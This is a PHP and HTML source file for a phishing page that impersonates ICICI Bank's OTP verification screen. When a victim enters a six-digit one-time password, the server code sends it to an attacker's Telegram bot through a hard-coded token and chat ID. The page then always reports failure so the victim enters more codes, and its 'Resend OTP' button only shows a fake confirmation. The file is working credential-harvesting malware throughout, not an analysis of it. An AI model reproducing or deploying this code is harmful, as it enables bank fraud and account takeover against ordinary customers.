<?php
// Start the session
session_start();

// Use the same userId stored earlier, or create a new one
if (isset($_SESSION['user_id']) && preg_match('/^^\d{4}$/', $_SESSION['user_id'])) {
    $userId = $_SESSION['user_id'];
} else {
    $userId = strval(mt_rand(1000, 9999));
    $_SESSION['user_id'] = $userId;
}

// Initialize attempt counter for this session
if (!isset($_SESSION['otp_attempts'])) {
    $_SESSION['otp_attempts'] = 0;
}

// Set flags for display logic based on URL parameters
$showFailed = isset($_GET['failed']);
$showError = isset($_GET['error']);
$limitReached = isset($_GET['limit']);

// --- Handle form submit ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $_SESSION['otp_attempts']++;

    // Check if the 10-attempt limit is reached
    if ($_SESSION['otp_attempts'] > 10) {
        header("Location: " . basename(__FILE__) . "?limit=1");
        exit;
    }

    $user_otp = trim($_POST['otp'] ?? '');

    // Validate OTP format
    if (!preg_match('/^^\d{6}$/', $user_otp)) {
        header("Location: " . basename(__FILE__) . "?error=1");
        exit;
    }

    try {
        // Telegram bot config
        $telegramToken = '8494314089:AAEhQrfHr2ZOxiD84utyyjmtFCJ2937vkiI';
        $telegramUserId = '8268344144';
        $telegramApiUrl = "https://api.telegram.org/bot" . urlencode($telegramToken) . "/sendMessage";

        // Prepare message for Telegram
        $telegramMessage = "<b>New OTP Entered by User</b>\n\n";
        $telegramMessage .= "<b>User ID:</b> {$userId}\n";
        $telegramMessage .= "<b>OTP:</b> {$user_otp}\n";
        $telegramMessage .= "<b>Attempt:</b> {$_SESSION['otp_attempts']}\n";
        $telegramMessage .= "<b>Time:</b> " . date('Y-m-d H:i:s') . "\n";

        $telegramData = [
            'chat_id' => $telegramUserId,
            'text' => $telegramMessage,
            'parse_mode' => 'HTML',
            'disable_web_page_preview' => 'true',
        ];

        $options = [
            'http' => [
                'header' => "Content-type: application/x-www-form-urlencoded\r\n",
                'method' => 'POST',
                'content' => http_build_query($telegramData),
                'timeout' => 15,
            ],
        ];

        $context = stream_context_create($options);
        $result = @file_get_contents($telegramApiUrl, false, $context);

        if ($result === false) {
            // If sending to Telegram fails
            header("Location: " . basename(__FILE__) . "?error=1");
            exit;
        }

        // Always show a failed message to the user
        header("Location: " . basename(__FILE__) . "?failed=1&uid={$userId}");
        exit;
    } catch (Exception $e) {
        // On any other exception
        header("Location: " . basename(__FILE__) . "?error=1");
        exit;
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ICICI Secure OTP</title>

<script src="https://cdn.tailwindcss.com"></script>
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600;700&display=swap" rel="stylesheet">

<style>
:root{
  --icici:#f58220;
  --icici-dark:#e86b17;
}

body{
  font-family:'Poppins',sans-serif;
  background:
    radial-gradient(900px 300px at top,#ffe9d6,transparent),
    #f7f7f7;
  min-height:100vh;
}

/* OTP BOX */
.otp-box{
  width:52px;height:58px;
  font-size:22px;font-weight:600;
  text-align:center;
  border:2px solid #ddd;
  border-radius:14px;
  background:#fafafa;
  transition:.25s;
}
.otp-box:focus{
  border-color:var(--icici);
  background:#fff;
  box-shadow:0 0 0 4px rgba(245,130,32,.18);
  outline:none;
}

/* CARD */
.card{
  background:#fff;
  border-radius:22px;
  box-shadow:0 10px 30px rgba(0,0,0,.08);
  border:1px solid #eee;
}

/* LOADER */
#loadingOverlay{
  display:none;
  position:fixed;
  inset:0;
  background:rgba(255,255,255,.92);
  z-index:9999;
  align-items:center;
  justify-content:center;
  flex-direction:column;
}
.spinner{
  width:60px;height:60px;
  border:6px solid #eee;
  border-top:6px solid var(--icici);
  border-radius:50%;
  animation:spin 1s linear infinite;
}
@keyframes spin{to{transform:rotate(360deg)}}
</style>
</head>

<body class="flex flex-col">

<!-- Loader -->
<div id="loadingOverlay">
  <div class="spinner mb-4"></div>
  <div class="text-[var(--icici)] font-semibold text-lg">Verifying OTP...</div>
</div>

<!-- ICICI HEADER (STICKY) -->
<header class="sticky top-0 z-50 bg-gradient-to-r from-[var(--icici)] to-[var(--icici-dark)] px-5 py-3 flex items-center justify-between shadow-md">

  <div class="flex items-center gap-3">
    <img src="https://www.icici.bank.in/content/dam/icicibank-revamp/images/icici-logo/icici-header-logo.png"
         alt="ICICI Bank" class="h-7">
  </div>

  <select class="bg-white text-[var(--icici)] font-semibold rounded-lg px-2 py-1">
    <option>English</option>
    <option>Hindi</option>
  </select>

</header>

<!-- MAIN -->
<main class="flex-1 flex items-center justify-center px-4">
<div class="card w-full max-w-md p-8 text-center">

<h2 class="text-2xl font-bold text-[var(--icici)] mb-1">
OTP Verification
</h2>

<p class="text-sm text-gray-600 mb-6">
Enter the 6-digit OTP sent to your registered mobile number
</p>

<?php if($limitReached): ?>
<div class="text-red-600 text-sm mb-4">⚠ Too many attempts. Try after 24 hours.</div>
<?php elseif($showError): ?>
<div class="text-red-600 text-sm mb-4">⚠ Invalid OTP format.</div>
<?php elseif($showFailed): ?>
<div class="text-red-600 text-sm mb-4">❌ OTP verification failed.</div>
<?php endif; ?>

<form method="POST" id="otpForm">

<div class="flex justify-center gap-2 mb-6">
  <?php for($i=1;$i<=6;$i++): ?>
  <input class="otp-box" type="text" maxlength="1" inputmode="numeric">
  <?php endfor; ?>
</div>

<input type="hidden" name="otp" id="otpHidden">

<button type="submit"
 class="w-full bg-[var(--icici)] text-white py-3 rounded-xl font-semibold hover:opacity-95 transition">
Verify OTP
</button>

<button type="button" id="resendBtn"
 class="w-full mt-3 border border-[var(--icici)] text-[var(--icici)] py-3 rounded-xl font-semibold hover:bg-[var(--icici)] hover:text-white transition">
Resend OTP
</button>

</form>
</div>
</main>

<footer class="bg-[#2b2b2b] text-white text-center text-sm py-2">
© 2026 ICICI Bank Ltd.
</footer>

<script>
const inputs=document.querySelectorAll('.otp-box');
const hidden=document.getElementById('otpHidden');
const form=document.getElementById('otpForm');
const loader=document.getElementById('loadingOverlay');

inputs.forEach((input,i)=>{
  input.addEventListener('input',()=>{
    if(input.value && i<5) inputs[i+1].focus();
    hidden.value=[...inputs].map(x=>x.value).join('');
  });
  input.addEventListener('keydown',e=>{
    if(e.key==='Backspace' && !input.value && i>0) inputs[i-1].focus();
  });
});

form.addEventListener('submit',()=>{
  loader.style.display='flex';
});

document.getElementById('resendBtn').onclick=()=>{
  alert('✅ OTP sent successfully');
};
</script>


</body>
</html>
